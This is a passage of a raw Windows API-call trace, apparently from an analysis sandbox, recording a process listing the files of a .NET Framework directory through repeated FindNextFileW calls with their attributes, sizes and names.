	[0087.947] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fc3628, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96fc3628, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97035a49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISymWrapper.dll", cAlternateFileName="")) returned 1
	[0087.947] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb63cd7c7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb63cd7c7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9c183d95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsc.exe", cAlternateFileName="")) returned 1
	[0087.947] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe87acc75, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xe87acc75, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9c183d95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsc.exe.config", cAlternateFileName="JSCEXE~1.CON")) returned 1
	[0087.947] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb643fbde, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb643fbde, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9c1d0051, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1c814, dwReserved0=0x0, dwReserved1=0x0, cFileName="ksc.nlp", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb652440c, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb652440c, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9c1d0051, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11948, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ldr64.exe", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6180d2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b6180d2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b664393, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b054b5f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b054b5f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b054b5f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af9647e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9af9647e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afbc5de, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Tasks.dll", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.dll", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4b0989, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf4b0989, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9c4c9ba9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x933, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.xsd", cAlternateFileName="MICROS~1.XSD")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6974b95, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb6974b95, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9c4c9ba9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2b9e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Common.targets", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb69e6fac, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb69e6fac, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9c4efd07, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1ab6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Common.Tasks", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6a0d109, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb6a0d109, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9c4efd07, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CSharp.targets", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6a7f520, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb6a7f520, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9c562121, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.JScript.dll", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6c6e6d9, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb6c6e6d9, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9c692c11, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.JScript.tlb", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d8495f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x98d8495f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x98df6d80, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.dll", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e5d892, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb6e5d892, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9c9b28c7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x272f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.targets", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e839ef, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb6e839ef, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9c9d8a25, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.Dll", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6ecfca9, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb6ecfca9, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9ca4ae3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Vsa.dll", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6f1bf63, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb6f1bf63, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9ca970fb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Vsa.tlb", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ae02f86, ftCreationTime.dwHighDateTime=0x1ca041e, ftLastAccessTime.dwLowDateTime=0x9ae02f86, ftLastAccessTime.dwHighDateTime=0x1ca041e, ftLastWriteTime.dwLowDateTime=0x5d687299, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WinFX.targets", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f1e6a00, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f1e6a00, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f20cb61, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b750, dwReserved0=0x0, dwReserved1=0x0, cFileName="MmcAspExt.dll", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9c6d4a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff00660e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff00660e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild.exe", cAlternateFileName="")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb634cf5, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb634cf5, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9cb7b92f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x22f, dwReserved0=0x0, dwReserved1=0x0, cFileName="msbuild.exe.config", cAlternateFileName="MSBUIL~1.CON")) returned 1
	[0087.948] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb59c781, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb59c781, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9cba1a8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild.rsp", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b3f067, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93b3f067, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93b651c8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1ac958, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscordacwks.dll", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb780912f, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb780912f, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9ce4f329, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1a150, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscordbc.dll", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83294060, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83294060, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83294060, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8cd50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscordbi.dll", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7bc1344, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb7bc1344, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9cf7fe19, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscoree.tlb", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8507b4f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8507b4f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x850a1657, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorie.dll", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aaf99d5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aaf99d5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ab6bdf6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x180d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorjit.dll", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d34aec0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d34aec0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d371020, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1bb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorld.dll", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4cf0e8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8e4cf0e8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8e541509, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x45b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorlib.dll", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8592d3e, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb8592d3e, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9daa84a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x7d380, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorlib.tlb", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83247da0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83247da0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83247da0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28750, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorpe.dll", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb888c882, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb888c882, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9dcbd7c7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorpjt.dll", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb88d8b3c, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb88d8b3c, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9dce3925, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x53750, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorrc.dll", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb89e34c7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb89e34c7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9e6690a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x14d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorsec.dll", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8b13faf, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb8b13faf, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9e6db4bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4140, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorsn.dll", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9381f382, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9381f382, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9381f382, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x78b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorsvc.dll", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ffccac, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb8ffccac, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9eebdd35, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x15f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorsvw.exe", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9211fc2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb9211fc2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9f334639, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4540, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscortim.dll", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a2328a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a2328a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a4e016a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x987950, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorwks.dll", cAlternateFileName="")) returned 1
	[0087.949] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe9ecea4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfea12ffe, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfea12ffe, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUI", cAlternateFileName="")) returned 1
	[0087.950] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d397180, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d397180, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d397180, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x26f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen.exe", cAlternateFileName="")) returned 1
